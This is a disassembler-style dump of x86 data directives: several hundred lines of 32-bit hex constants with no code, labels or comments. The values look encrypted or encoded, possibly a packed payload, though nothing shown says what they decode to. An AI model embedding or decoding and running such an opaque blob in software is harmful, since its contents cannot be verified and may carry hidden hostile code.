		dd 0C4C28F93h, 0A7164447h, 5B5FDCDAh, 1115928Ch, 0C3C74446h
		dd 567CF9F3h, 0C3B860C6h, 0E9BC7958h, 1610E074h, 557E51F1h
		dd 832C83E9h, 6C92755Bh, 957DA29Ch, 77DDA501h, 795B83A1h
		dd 3FA511D3h, 795B8399h, 0F673D99Bh, 42157FF7h,	2F55B521h
		dd 0B9CF6361h, 73739682h, 80A632F4h, 6E66C376h,	2C98BD90h
		dd 163B3906h, 248A9A2Eh, 7CC977C5h, 594F21AFh, 909D0029h
		dd 96F5CF9h, 547144E4h,	170582E8h, 4D737AE0h, 735B8082h
		dd 55C183DFh, 0E8655F2Fh, 7C4E14E4h, 404B86BCh,	5EC407C4h
		dd 0ADA68AF8h, 5732ADBDh, 1877A0h, 392F0000h, 0ECEAB8BCh
		dd 9D9F6B6Fh, 544A1C20h, 806D3D7h, 0EBDA888Bh, 9FA3201Eh
		dd 5559D6D0h, 70B888Ah,	9AC03D37h, 0C374A40Ah, 2D007958h
		dd 0E046A6B8h, 7F739338h, 10E67A3Ch, 81214640h,	0B31985AEh
		dd 755BBCF8h, 5C5BD89Ah, 91B2850Fh, 91F8BF25h, 38FA7373h
		dd 0BF1386ACh, 0ECBF04ECh, 0A2F2DFBh, 0F050BC22h, 6A8F528Ah
		dd 9024E6DFh, 2EFA2080h, 6B82982Ch, 0DD542B9h, 1238264Bh
		dd 39214644h, 2710E3A5h, 4F375C5Ah, 85577DE9h, 8FF5F7C3h
		dd 658BEBFBh, 1FFCD97h,	698EF4DCh, 5ED7ED81h, 7CD31A1Dh
		dd 5C284EBAh, 0E147355Ah, 0D31A163Bh, 0E3157B3Dh, 73831715h
		dd 17837D4Dh, 0E02A54F3h, 1274FDDAh, 33652499h,	2041D53Bh
		dd 0E4524C1Ch, 1437BECAh, 99F0A782h, 22000017h,	0DADE5B51h
		dd 8D910E0Ch, 3E42BFC1h, 0F5F9766Ch, 0AAAD2A28h, 42400DFCh
		dd 0F8F2C1C5h, 0AAAC777Bh, 5F59292Dh, 0C62CBCE2h, 7958C216h
		dd 0E0DA4F22h, 3F11610h, 0EE130DDDh, 0DDB07206h, 29E64CB8h
		dd 4B755E49h, 2AF71D89h, 0D918C026h, 5A1C7958h,	0B7E7CFF4h
		dd 79D0C91Ch, 0CBDB6F4Eh, 0B173456Bh, 0EB7FE5E3h, 0CE4B4515h
		dd 58B4228Ah, 0F61BF079h, 0D092648Ah, 7A9F0503h, 0D9DDFE92h
		dd 0A2920F09h, 0DA3AA6CFh, 9B140FB6h, 4EE2696Ch, 7542FF38h
		dd 0F6C3E973h, 57EBD3F8h, 0C9576FFBh, 0D05D5205h, 64BA2AA0h
		dd 7FE568EBh, 211FED13h, 0D4D2A0A4h, 0CC9BC1AFh, 31C5ADD2h
		dd 23918B5Bh, 0B4082235h, 0D125DCB7h, 5A000016h, 12169389h
		dd 0C5C94644h, 767AF7F9h, 2D31AEA4h, 0E2E56260h, 7A7845B4h
		dd 302AF9FDh
		dd 0E2E4AFB3h, 97916165h, 0FE64F41Ah, 7958C1DEh, 0F412875Ah
		dd 32980421h, 755E49F5h, 969D597h, 58D975A3h, 0A93DFF79h
		dd 0DDA37399h, 4EC110Fh, 9D0E329Eh, 0FDFFCBD6h,	406B6CCDh
		dd 58B402DAh, 0E743679h, 9469597Ah, 8B9D036Fh, 0ED7958B4h
		dd 0CF12062Bh, 0B87958B4h, 3D3CB972h, 79C15C52h, 90h, 381FF4A6h
		dd 0F3C19D2Bh, 744C5F5h, 66CC389Eh, 7F73F5BAh, 4890F6BEh
		dd 0EC7F73F5h, 3258C42Ah, 66386A60h, 0CF634B70h, 0F5CE1206h
		dd 73B97F73h, 913C3DBAh, 0F656BB31h, 96855CD2h,	198B98A9h
		dd 7F7391C3h, 331FB375h, 44h, 9997658Bh, 7DA0CA05h, 997F7393h
		dd 0B319DC6h, 31193E40h, 33D21D01h, 9428D846h, 2EFE2484h
		dd 8E5B0F34h, 1D836B90h, 19547389h, 0AA0A755Bh,	5B399444h
		dd 5686EC79h, 0E2795B39h, 12A66820h, 0E77F4B6h,	980421F4h
		dd 5BA71732h, 92B77975h, 76480EDEh, 0D735B80h, 0F6BC8C90h
		dd 20082D27h, 47A795BAh, 5BBF3BE1h, 0E77B3D79h,	21464411h
		dd 80A59B6Dh, 93F901CCh, 795BBF45h, 0A2C72DEFh,	0E8A25BBDh
		dd 0D95F1890h, 8E920F09h, 0FF9FC4BEh, 359B072Ch, 737398E2h
		dd 6E380694h, 163BA1A3h, 474BC82Eh, 6A587D77h, 577C7244h
		dd 0F0C5DB6Fh, 62EB7967h, 0DBAB31EAh, 0EBE5B5DBh, 0F561A379h
		dd 0AD13D5FBh, 6C92F230h, 0E830A29Ch, 8CFBF561h, 0CEC898CAh
		dd 572DC1A9h, 0B4688D87h, 0FBC7ECE2h, 5828AE67h, 7FA3E15Eh
		dd 0B81EE222h, 0FBF53960h, 89225214h, 0CFE39CCh, 0FD7ADB2h
		dd 6F3F15A9h, 3C625075h, 0D6D4A270h, 0CF63C9B1h, 0AD193A0Dh
		dd 0DD378847h, 6BE8AAF1h, 789D9767h, 14C42A8Ah,	20F5DD31h
		dd 0A89A2E5Eh, 0BDA03B50h, 8A845329h, 5A138B65h, 8D0A04D4h
		dd 5C5E294Fh, 0E5BB4F37h, 8F61B15h, 861A10E2h, 68D4F1C4h
		dd 1715E208h, 59E66D83h, 264CFFF5h, 6DC95D57h, 5A2A2EABh
		dd 6C62345Ah, 2FED5F47h, 49EFA549h, 8FB52187h, 2F2DFBBDh
		dd 97BC220Ah, 5E521BAFh, 1FA549BAh, 72F8B113h, 272BA8A2h
		dd 81355A5Ch, 0CA91B6B4h, 22ED732Ch, 0C08EB420h, 90D2EC2h
		dd 29173C3Eh, 49B563C9h, 0FDBFDFA5h, 6AFE00CBh,	0A7CCC294h
		dd 169C55CDh, 0C8CC494Bh, 698FFBFDh, 410A9E9Ch,	39A5CEA1h
		dd 24494313h, 3298A83Ch, 0D58D7D17h, 0DE92B779h, 3CF0150Fh
		dd 6A4E736Dh, 49934D06h, 0AB76FCB5h, 58282CA9h,	0B585395Eh
		dd 59294FBBh, 3B02CB5Fh, 9A9C678Dh, 0F8F2C175h,	0D7C96292h
		dd 74FB9679h, 0A127E0E0h, 1C5AD7D1h, 946224F6h,	230B3096h
		dd 902426F1h, 3096B6C3h, 210062h, 0E02D0000h, 4EEE1315h
		dd 8EEE5A7Bh, 7393F028h, 2EC2847Fh, 0BAEDB81Eh,	0CD8F755Bh
		dd 1E4950h, 0E0500000h,	81A71315h, 561FB3B5h, 56C2E3B6h
		dd 5B8BF9F0h, 0ED591B75h, 0DAFFF5C7h, 0D43D5EF2h, 3B0E86E5h
		dd 7148AE1Ah, 0CF755B86h, 9ED3096Fh, 0D765795Bh, 1E90E08h
		dd 1DAB079Bh, 61ED534Dh, 8EB19D3Bh, 695E316Dh, 789ED797h
		dd 59A95B4Eh, 80E6CEF3h, 765FAE14h, 0AD398F80h,	9304EBD4h
		dd 0BB218D3Ah, 7E77A91Dh, 83EF5517h, 0FE92905Dh, 0D5C29535h
		dd 32E60B05h, 9C026862h, 0A70D030h, 7E77A9D2h, 0FA10A466h
		dd 745F6D7Dh, 4B71DD9Fh, 0E9E7B57Bh, 32020683h,	0ACD8CA38h
		dd 7954BF72h, 131FC2h, 0E1D7A800h, 94926064h, 45471317h
		dd 0FCF2C4C8h, 0B0AE7B7Fh, 93623033h, 474BC8C6h, 0FD017E78h
		dd 0AFB33032h, 4268E5DFh, 0C58C4CB2h, 0D5A87958h, 9278A060h
		dd 0C3967F73h, 0B2D636A2h, 0B1A7D5FBh, 6035EB00h, 9C7389B9h
		dd 624D63F7h, 84755B76h, 653056C2h, 2E00CA97h, 0C52B1338h
		dd 0E652B8A0h, 988E6086h, 5B4EF626h, 2CC08279h,	3A3C070Bh
		dd 97916115h, 76042F29h, 17CEA9BEh, 12A0h, 0E5625829h
		dd 981513E1h, 49C6C894h, 7D7345h, 0B4312FFCh, 4714E5B1h
		dd 0F9C8CC49h, 0B37E82FFh, 603034B1h, 33C3E966h, 58C50FCDh
		dd 0E1562979h, 683821F4h, 93DA0268h, 9C5E7F73h,	0FE64D036h
		dd 755BBE33h, 0E1077335h, 94981513h, 487EFEC6h,	0E5BA8B0Ch
		dd 466C5A7Fh, 70587D77h, 3C3606DCh, 0FEB74B17h,	2FACAA78h
		dd 0D0F64C30h, 0FAE20701h, 0B0CDA466h, 72703E24h, 5386594Dh
		dd 723E795Bh, 0CB974B70h, 0D4F2A4C9h, 15868E03h, 42FB99DEh
		dd 14FC1C82h, 0B678795Bh, 0FB5B0D50h, 5B144795h, 9B2FF179h
		dd 0FC22E29Bh, 0C99F332Dh, 4280FDFBh, 145C7CE2h, 16D8795Bh
		dd 0E0DEAC82h, 5F481BBBh, 89719690h, 0BD93B723h, 0CCA8F7D0h
		dd 94FA0A9Eh, 7376E77Bh, 74723F65h, 77D3674Fh, 0B71D1BE9h
		dd 585A254Bh, 2E54B4C4h, 0CCC69660h, 0C08D4166h, 4FB59DC2h
		dd 5115E5BBh, 6CD7B249h, 49184ABAh, 2E6CE94Fh, 0C7969B0Ah
		dd 69FDC099h, 0A4C9C393h, 0A8143104h, 0D862642h, 1C884A79h
		dd 926026F6h, 21876F94h, 0AD0A0A4h, 0AAA4733Dh,	0CB311F44h
		dd 6D0C850Dh, 99FF6527h, 0E401D474h, 0A5BB1278h, 1BDD6724h
		dd 0F9EFD9ADh, 914823A0h, 1150h, 951208D9h, 48C5C391h
		dd 0F9767844h, 0B02D23F5h, 64E1DFACh, 0F7C43561h, 0A9787CF9h
		dd 632E32AFh, 10E0E461h, 0E3739916h, 58CB5F7Dh,	9106D979h
		dd 739371A0h, 0ACAE797Fh, 416C3F2Fh, 73933DDBh,	0FF1D837Fh
		dd 797F7393h, 0D73DFFB7h, 4A73056Bh, 2B51755Eh,	0C9C7955Bh
		dd 2456BCA4h, 69C55957h, 0B5DB3BA7h, 7F55E9E7h,	0CB34B1B3h
		dd 0B12390E9h, 12B26BBh, 0F4530000h, 0A666FD1Ah, 4F532046h
		dd 739333E9h, 1D83457Fh, 667C10F8h, 7F7393B3h, 0A65DF4D4h
		dd 0CFBB61Bh, 67FE1BF4h, 0B4B280A6h, 5313A78Fh,	0B480A628h
		dd 855C1EB2h, 63C9D19Ch, 7F7393B5h, 3197FDBFh, 0A63B869Ah
		dd 8FB4B280h, 434613A7h, 73BE3123h, 3Fh, 0FE1BF4A0h, 0E046A667h
		dd 7F739338h, 0D6E67A3Ch, 7393AD70h, 7541CF7Fh,	76DCDAA7h
		dd 97036951h, 930BD137h, 6B2D7F73h, 1BA69CD7h, 0B5B380A6h
		dd 3E14A890h, 57D97072h, 39DD6Ah, 0F4E40000h, 0D2F81Bh
		dd 9340980Ah, 32F47F73h, 82A635CCh, 7F4BB637h, 0BBCB5FFBh
		dd 731A8255h, 4CE3C37Fh, 0B5B380A6h, 0A6861121h, 9338E046h
		dd 7A3C7F73h, 424410E6h, 0E96A57ABh, 0BE3123A0h, 2E16h
		dd 1DF44300h, 40A66900h, 7F73939Dh, 0A646DD9Fh,	0EEC0E646h
		dd 79EBD3F8h, 7F7393A3h, 0D58D8F5Bh, 0E0447F13h, 577D1412h
		dd 21DD6Ah, 0F4E40000h,	6967341Dh, 40A66C03h, 7F73939Dh
		dd 0BA62C8AEh, 0BE7F7393h, 0A6FF96FCh, 1412E01Bh, 0DD6A577Dh
		dd 0FFFFFECCh, 421F4E4h, 0A8A27298h, 7EA40414h,	95BECACh
		dd 160D180Bh, 0FA38BB0h, 5ECC3CF9h, 30965E75h, 79585DE8h
		dd 3133FE8Ch, 0D3F965CBh, 9C8C0903h, 160CDEC7h,	3EDE44B0h
		dd 3A79585Dh, 7DE3DDACh, 5DB66458h, 0BF057958h,	80E64606h
		dd 79585D58h, 0B9861ADCh, 0C15CF9C0h, 37F6h, 7CA02300h
		dd 867F7393h, 0FB3FBCB6h, 7F7393D8h, 833A21F4h,	8D642F42h
		dd 1070DC42h, 0FB201AEAh, 7C7BA113h, 3BFD7F73h,	9A3197A7h
		dd 0FC755B5Fh, 19B6BD3Ah, 0BD000001h, 6B2246A6h, 0A36E17F7h
		dd 7C8656C8h, 0EAB27F73h, 737C5484h, 0B81EE07Fh, 9A8F6224h
		dd 0D09CCECCh, 5BC1A9CEh, 2FD0CBEFh, 0A352AD04h, 10A4A671h
		dd 0F54B9A00h, 1339755Bh, 0ABAD7947h, 0C755B145h, 0F1D9FEF8h
		dd 2EF91F8Bh, 0E0ABAF2Ch, 0CDAA72D8h, 0CCE795Bh, 0A80E0CDAh
		dd 494B163Ch, 0DFA83C24h, 0A153CDF1h, 0C64D4C85h
		dd 0BC24F45Ah, 8E50795Bh, 746538FAh, 9F87ACA2h,	476DCD39h
		dd 6F577C7Ah, 6630C5DBh, 688E7376h, 937BA096h, 75E1A3FFh
		dd 0ECB8844Fh, 0DD8E0214h, 8FF5F7C2h, 0E6EAC29h, 149048AEh
		dd 0E2A47320h, 2014A870h, 760ACC73h, 0AED3D5A0h, 0AE1A3B0Eh
		dd 0DD51748h, 0F75D2579h, 6D0D5A21h, 0BF2B9153h, 52CFC999h
		dd 0C18EB414h, 5A8B51C3h, 0EBAD6D0Dh, 0B7B18157h, 20103B49h
		dd 23DAB5AAh, 0E34h, 79F6ECBDh,	2CA9A775h, 0DD5A5C28h
		dd 941107D9h, 48C5C390h, 0DBA81945h, 8D5C60DDh,	47121693h
		dd 0F4C4C845h, 0C7577DFAh, 58C8BB61h, 75EABD79h, 0AA1610E0h
		dd 9334E44Ah, 7E407F73h, 9D6D21EAh, 0FDCA7EA3h,	5426DAFFh
		dd 0F155395Eh, 9B397E38h, 928C5CE2h, 0E4B1D715h, 0F48552E6h
		dd 0C2BB312Ah, 3Dh, 0B480A6EFh,	11A58DB2h, 0EB577C4Fh
		dd 5BA56685h, 294E1075h, 8134173Bh, 576D8148h, 1D1DEDC3h
		dd 5B9661B7h, 0EB511379h, 0A09A6A6Eh, 1F08DB7Bh, 80EC5254h
		dd 73BACB1Ah, 2EAB6D73h, 1412E0C5h, 0C7C59397h,	0C18EB4A2h
		dd 0CC192FC3h, 0F47F7393h, 0BAAA2729h, 0EC52BEE7h, 755E4A85h
		dd 383A052Bh, 1A8648A4h, 885A28F4h, 46AF2C92h, 0B12390E9h
		dd 19626BBh, 0F4530000h, 6B91FD1Ah, 91799EA0h, 46A6C2FDh
		dd 31565020h, 7C9FB549h, 0D7F7393h, 1BA6962Dh, 1337FBB6h
		dd 62C8B770h, 7F7346BAh, 0B8CCFCBEh, 0A19F6C09h, 9A2E947Ch
		dd 0B480A65Fh, 11A58DB2h, 0C259764Fh, 80A6CBF6h, 0A58DB2B4h
		dd 5B784F11h, 0A63B86C4h, 20B4B280h, 31233653h,	3E80BEh
		dd 0F4AD0000h, 6567321Bh, 0BEC08C40h, 0E54BB199h, 2046A64Eh
		dd 7F33584Eh, 0A890B5AFh, 4598AE42h, 0F77F7393h, 0D3A3C935h
		dd 5E29A9D9h, 3E1248B7h, 1BA66FAAh, 7B1214E0h, 66DD6A57h
		dd 0E4000000h, 0C3982A6h, 46016449h, 0FA17F0B2h, 9D40A663h
		dd 0EB7F7393h, 0D3F8FAC5h, 5E0A57EBh, 0C32F958Fh, 0AED3CD9Dh
		dd 0A6F732C6h, 9338E046h, 7A3C7F73h, 5076D6E6h,	0ECEEBA80h
		dd 5479DFC7h, 0A69DD86Ch, 9338E046h, 0AE3C7F73h, 0D8C0E5DFh
		dd 3C08DE72h, 9557A33Ah, 0EE891135h, 70F71617h,	73FDDEFEh
		dd 4985A7Fh, 23A0E9C9h,	92F2BE31h, 7393EC2Ch, 32C6887Ch
		dd 5346h, 82A67300h, 0AE594ADh,	9D60833h, 6AFEE60Bh, 48B4D1A8h
		dd 0C5595322h, 0AE80A68Ah, 0AE1424B8h, 7F73936Bh, 0BBDF4B0Dh
		dd 561AB4EAh, 380436C2h, 0A667A236h, 4812E01Bh,	735B8076h
		dd 0D17DA10Dh, 835A6766h, 0BFBD8ABCh, 0E31EB29Ah, 27DD6A57h
		dd 0E4000000h, 38E046A6h, 0C47F7393h, 0DA18F3FEh, 0E4A65E27h
		dd 96B78E50h, 9D40A6FFh, 0AE7F7393h, 1BA637CEh,	7D1412E0h
		dd 61DD6A57h, 0E4FFFFFEh, 980421F4h, 5E49F532h,	69D59775h
		dd 4F11E309h, 755D8284h, 6E02EA0Fh, 51CEC898h, 0FB678C61h
		dd 58D94795h, 0A2FF179h, 58D9C416h, 0B871B779h,	5C753E3Bh
		dd 2078C1h, 0A0A50000h,	7F73937Ch, 5A80284Ch, 0CE179C0Eh
		dd 0E5DA5940h, 0ED81E77Dh, 0D04D4717h, 0BEC9h, 80A6D000h
		dd 2319EBB1h, 0C0BE8BBDh, 5D1FB39Bh, 97FD698Ah,	755BAD90h
		dd 416CEA0Eh, 94D610A6h, 76E2A400h, 6838550h, 9B693702h
		dd 6AB9BAD3h, 23891B93h, 25F898BDh, 0CD2E9400h,	0A7737606h
		dd 0AA379DFh, 8C5B7320h, 2B4EDA92h, 4D91BF72h, 0BD298FF5h
		dd 3BCFC597h, 383A052Bh, 0E4ECB7BBh, 20A45E7Eh,	0E818DA73h
		dd 2A65AFB9h, 1D42A869h, 1D89AA7Dh, 0D50E6B7h, 66D29479h
		dd 0F9767040h, 0BD2B25F5h, 0AA209ADDh, 0DD8D441Fh, 6600000Ah
		dd 1E229F95h, 0D1D55250h, 82860305h, 393DBAB0h,	0EEF16E6Ch
		dd 868451A0h, 3C360509h, 0EEF0BBBFh, 0A39D6D71h, 0A700026h
		dd 7958CDD2h, 0E01E9366h, 3DF11610h, 874E736Dh,	0DAAA30E9h
		dd 116863E0h, 0A5BB312Bh, 55h, 421F4D2h, 0C4A67498h, 0EA71EEC0h
		dd 0F1E04656h, 0F3755B9Ch, 15A1C531h, 18D0ABFBh, 0D0CE9CCEh
		dd 662FC3ABh, 6BE8E2B2h, 3B39072Dh, 3B01D1A7h, 0E50A706Eh
		dd 0B6857245h, 8AEA56BCh, 0D814C42Ah, 62A8795Bh, 60FD7CD8h
		dd 45D99B53h, 738F382Fh, 1B985A73h, 1412E0B2h, 66335997h
		dd 6C663668h, 0B5CB5F47h, 7F73936Eh, 44C1C38Eh,	0C9988154h
		dd 13383603h, 0B8A0C52Bh, 0C480E652h, 68755E4Ah, 46143AA6h
		dd 8BB0AE7Ch, 0FC0D3DA3h, 0A2FBAC0Bh, 0ABD1E175h, 434511DFh
		dd 5BAB71D7h, 0BCD7958h, 0E9BF28A5h, 0BBB12390h, 14526h
		dd 1AF45300h, 46A666FDh, 0C2565020h, 739369ACh,	0CE3A1A7Fh
		dd 0BADFD9A8h, 0A6033ED2h, 0CFBB61Bh, 67FE1BF4h, 0B7B180A6h
		dd 9E3EA492h, 9A7F7393h, 1EDE72D8h, 6582A6F3h, 0BC171D0Ch
		dd 4E25E77Bh, 0CD9BC12Dh, 0A77AF105h, 0C92F2137h, 0A5CACC97h
		dd 86EE29BDh, 23A0E93Bh, 0CEF2BE31h, 653041FAh,	0C3AF43BAh
		dd 4Fh,	0B280A6F0h, 0B4B682B4h,	5113A78Fh, 0A6C45B78h
		dd 52542046h, 9BB1452Dh, 7F739378h, 9FA16CFAh, 0FA62927Ah
		dd 26B30831h, 0BDE34FB5h, 2560F4EEh, 14E01BA6h,	6A577B12h
		dd 38E046A6h, 3C7F7393h, 17A34A7Ah, 48C96E2Fh, 16DBB4h
		dd 0F4E20000h, 0A667FE1Bh, 73939D40h, 37CEAE7Fh, 14E01BA6h
		dd 6A577B12h, 0E8B480A6h, 0A47932E5h, 0D440A69Bh, 7372AE6Eh
		dd 7408CA7Fh, 3204E2A7h, 3AD4BEh, 82C0000h, 0F8E2B4ACh
		dd 540D46Ch, 69001DF4h,	939D40A6h, 0DD9F7F73h, 0A61BA646h
		dd 0D67BBC82h, 5F913A33h, 8A72978Dh, 545220F6h,	0A66A57BDh
		dd 8DB2B480h, 163811A5h, 3F000000h, 69001DF4h, 939D40A6h
		dd 0CEAE7F73h, 0E01BA637h, 577D1412h, 0B580A66Ah, 12A68EB3h
		dd 0FFFEB239h, 21F440FFh, 0A4729804h, 93E23AA0h, 0D4967F73h
		dd 3161496Eh, 20C8A118h, 0D4E478E1h, 847E4E74h,	0CDE3775Fh
		dd 755EC510h, 0FB15A632h, 223EC0C5h, 5A2A50BCh,	1EF3E360h
		dd 0E92F9501h, 0D77958A5h, 0B1E3E5B1h, 0D6BEE3E5h, 0B824E642h
		dd 32C6C492h, 0A5A57569h, 0D0167958h, 66315717h, 0A7CCCA98h
		dd 0F8C559BFh, 0C15C6181h, 1035h, 7CA06200h, 867F7393h
		dd 383FBCB6h, 0E2h, 421F43Fh, 867F3298h, 9321755Bh, 0F35FC5C7h
		dd 0D7E1D9CFh, 5B33AB71h, 0DB0BCD79h, 49DD72E1h, 46481339h
		dd 0F8FAC5C9h, 989A668Ch, 89598B73h, 0EE826A8Fh, 91B28525h
		dd 5836BF25h, 0A6347376h, 474512D4h, 3808BCE1h,	0CB31193Eh
		dd 0C823F95Fh, 93557320h, 0D09BC12Dh, 55BBA9CEh, 7320C887h
		dd 0F589EFB1h, 0F2F4BFE5h, 71D73775h, 7320C8ABh, 799F05CDh
		dd 0FB7320C8h, 693FD339h, 0D7779C9Eh, 0D73DF04h, 790D0948h
		dd 1DAE5EEAh, 0B847585Ch, 0F0C0E652h, 0A57579F6h, 0B3B17FA5h
		dd 0E434A68Eh, 906D0DC0h, 0A6FA68CEh, 52AA208Ah, 776C077h
		dd 2EFF0000h, 0E9B7BB38h, 9E6A6EEBh, 491B1F9Ch,	5D2D653h
		dd 0DB878A07h, 0A21F1DEAh, 58D5CF9Eh, 0A878954h, 0BF3C3606h
		dd 75A30999h, 0FF7958F2h, 80A6B72Ch, 191BE6B4h,	12A60CF4h
		dd 4D726C3Ch, 0AACFC999h, 68C45E3h, 8D03636h, 2C7F7393h
		dd 8C87046Ah, 0BB312EEDh, 0BF2B81A5h, 0E69DEC65h, 506652h
		dd 9ABE0000h, 54CB2CB7h, 263F8072h, 3855BE4Fh, 0D5D3A0D2h
		dd 21F40641h, 0BF329804h, 0E1755B80h, 8065B319h, 4D0F795Bh
		dd 0ACEC2E7h, 0B4795B80h, 0FC3E8E6h, 501C4143h,	0D84903BCh
		dd 1D5CD992h, 75C15942h, 27AEF951h, 0B94D3B49h,	44CDh
		dd 21F4FA00h, 53329804h, 35755B83h, 0CA9A4E73h
		dd 7F4F53D0h, 23F31985h, 0EA1C0429h, 13FB201Ah,	4316B67Fh
		dd 1D50B622h, 3F737397h, 1DEB117Dh, 7E12FA1Fh, 99BF1F5Dh
		dd 0C4ACD1C7h, 238C8A52h, 58ECAE73h, 1282E51Dh,	44AA163Fh
		dd 755B8675h, 1B19A7CBh, 4EC670B3h, 109C5EBAh, 0C19E51EAh
		dd 496A3D39h, 0B71D7DDDh, 0B9ECB361h, 14CCCE99h, 41A8BE52h
		dd 33B3C485h, 0D9AC4C71h, 0BF2523F0h, 645E2D53h, 5725573Fh
		dd 0B84C3459h, 19C542A8h, 25E7B99Ch, 0C9C393B9h, 7E78484Ch
		dd 0B1535610h, 0CC835E6Ah, 61Ch, 61DED4A5h, 14918F5Dh
		dd 0C5424410h, 7CF9EFC1h, 30ADAB78h, 0C390612Dh, 754448C5h
		dd 2FFAFE7Bh, 0DCACB02Dh, 0AF3F65E2h, 58F09349h, 5DD2A579h
		dd 0F11610E0h, 2FA5713Dh, 0F4EA6907h, 9D42B76h,	0A39D27D9h
		dd 0FDD0C03Dh, 0F9066CD8h, 7B755E81h, 14E094B9h, 13797B46h
		dd 72CBE7A5h, 570EE9BEh, 5B8h, 0FD7A7041h, 0B02D2BF9h
		dd 61DEE0ACh, 18958B5Dh, 0CC494714h, 5F2C9DC9h,	11E0E461h
		dd 0CB969A17h, 78484CC9h, 4BDB017Eh, 58F037E5h,	0F96E4179h
		dd 980421F4h, 5E49C932h, 4D1F775h, 65F9E106h, 6E224709h
		dd 6032A0A2h, 6CBE7593h, 566DA91h, 1EEF0000h, 0D9A7AB28h
		dd 8E5A5EDBh, 390B0F8Ch, 0F5C2C643h, 2B777AF7h,	920F0DDAh
		dd 48C5BF8Eh, 0FA777944h, 0AF2C26F6h, 4593F989h, 0EF7958F0h
		dd 21F4A71Ch, 8945793Ah, 0DC42AFE8h, 94F50A70h,	0C587755Eh
		dd 1E20ECA0h, 72F914B0h, 4E05E0BEh, 514h, 59D6CC9Dh, 0C898755h
		dd 0BD3A3C08h, 74F1E7B9h, 28A5A370h, 0BB887925h, 6D3C40BDh
		dd 27F2F673h, 0D4A4A825h, 0A7375DDAh, 58F79B41h, 55CA9D79h
		dd 439C82A6h, 36E83EB6h, 2FCCCA2h, 5F5929DDh, 0B2D8603Ah
		dd 87DD1DE5h, 8817A6EBh, 0D58E8E22h, 271DEF15h,	0A8F794F7h
		dd 0EB7FF629h, 0CE4B4515h, 0DB00FACAh, 73FC34E7h, 0A909BB7Fh
		dd 44B6B883h, 7F73FC94h, 4A4ADEA0h, 413B0B91h, 0F6F0C0C4h
		dd 534D1DD1h, 0A67298D6h, 3977FA4h, 0D9456E41h,	5BFD6873h
		dd 0A3C88A75h, 5BE36DAFh, 57105679h, 599B9FDAh,	1CDF3C1h
		dd 5EF2DAFFh, 3F72h, 0B3A6CA00h, 229EE7DAh, 0A6A9E478h
		dd 84B6B080h, 6628BCB2h, 0E0067293h, 71811513h,	5BBE8C0Bh
		dd 78E4A675h, 4F309754h, 32C619F0h, 0E3A37569h,	0D61C795Bh
		dd 9FD9A01Dh, 0D4DDC159h, 0A000000h, 7D4A10E0h,	0C725A7Fh
		dd 686633E7h, 0C5BF8F43h, 6B613359h, 1CA5E46h, 6837D4Dh
		dd 738FDDC2h, 9B95657Fh, 844A1A1Eh, 0B884B6B8h,	43A991B6h
		dd 0CB1177D7h, 6D7F7397h, 0AE4E17ABh, 0E84EBADBh, 755BA181h
		dd 0FF961B3Fh, 67C00D2Eh, 0C9053337h, 53E7C403h, 0C8B835F7h
		dd 0FE64D0F5h, 7375B39Fh, 0B6BD799h, 0F0C75CE7h, 0E77B0D7Dh
		dd 0C9464411h, 8CFAF8C5h, 0B40D592Ah, 0A520D7B2h, 2E000003h
		dd 0E6EA675Dh, 999D1A18h, 4A4ECBCDh, 1058278h, 0B6B93634h
		dd 4E4C19E8h, 4FECDD1h,	0B6B88387h, 6B653539h, 0D238C8EEh
		dd 7958F60Ah, 0E0E65B2Eh, 5A981513h, 934494FAh,	2EF07F73h
		dd 0FAF4C49Ah, 0EE66A8Eh, 0FAEB007Ch, 73324494h, 0C82EF07Fh
		dd 0F4AA1334h, 32980421h, 755BBEABh, 2826F319h,	2B871B03h
		dd 30564469h, 0BAD06462h, 795B8666h, 0E5621B61h, 0C1594494h
		dd 0DE22h, 82A64F00h, 5AC04146h, 7F73B282h, 2FC4F4B6h
		dd 471DB17Ch, 0A4587D77h, 0C0B4D9D7h, 7F73AFDFh, 1C999363h
		dd 0C0187EDEh, 747F73B7h, 78481EB2h, 8CB2127Eh,	0B49CC1BFh
		dd 73B79A42h, 48DC9E7Fh, 0E70CDF7Fh, 26F51B7Bh,	8B1F072Ch
		dd 5B811675h, 0D8A6CC75h, 1E43410Eh, 0C3ABD036h, 0A1C6C491h
		dd 3BC925B9h, 964A6F6Dh, 268CEC4h, 0A1C29585h, 63ABCF35h
		dd 7C97375h, 0AAA8759Bh, 5E5C292Dh, 0C2A40F0h, 7A310CB4h
		dd 29Ch, 0E15E5425h, 94110FDDh,	45C2C490h, 0FC796F41h
		dd 0B02D2BF8h, 4310E1ADh, 0F5C4C845h, 0AF7A7EFBh, 5C2C30ADh
		dd 2FBFE562h, 58F513C9h, 0DD522579h, 7AFF82A6h,	0B8DAB693h
		dd 0B9814E24h, 8856B7A8h, 94A15A8Ah, 3438B51Bh,	0AFED6A64h
		dd 98BDBB89h, 0A6E11CB0h, 1FB3B580h, 137F7949h,	938F4DB3h
		dd 0E7A97F73h, 6D68A53h, 0CC9F8F0Ch, 0B7DB3BA7h, 7DB8EF04h
		dd 5167FB7Bh, 755B77DEh, 2A3A7400h, 0D3BB57ECh,	5A4AAF6Dh
		dd 0A107C979h, 0C828163Bh, 4ADA0268h, 9C5E795Ah, 5A4AF22Ah
		dd 15FA8679h, 0F3322DBCh, 2036CA30h, 795AE2FCh,	13383A06h
		dd 0E219BF25h, 591B795Ah, 365B5927h, 712BE45Ch,	4101BA00h
		dd 2B504E1Bh, 97E2AF43h, 1FC15A9Ch, 2Ch, 0C982A64Ch, 0AEA87708h
		dd 0A1A5A37Eh, 5B784B0Dh, 6F2289EFh, 9254755Bh,	91A7796Dh
		dd 0DA20795Ah, 31D5A421h, 2BE1C15Ah, 0E000000h,	73937DA0h
		dd 9DC6997Fh, 8AA4CB31h, 0E40A755Bh, 0EF61B15h,	0DF5C1E7Ah
		dd 2C347DA1h, 6C886E44h, 5B79D606h, 3AA06279h, 80A66BA6h
		dd 0AB93B8AEh, 95825517h, 0BFA7CCC6h, 0A087ED59h, 0D2755BAFh
		dd 25F7EB10h, 9E795BB7h, 0BBDF9F58h, 10E060D2h,	0AA1CE616h
		dd 0F6268CF8h, 82795B73h, 1A5F2CC0h, 9CC15A0Bh,	2Eh, 937CA0C9h
		dd 264C7F73h, 0C3C59157h, 0BC50B69Eh, 92FE27FAh, 5B8A452Ch
		dd 0F1571F75h, 795B992Bh, 0A8258B4Dh, 97B466Ah,	119C158Fh
		dd 21F4427Dh, 0D5329804h, 3755E49h, 0D99F3DA3h,	0D7997958h
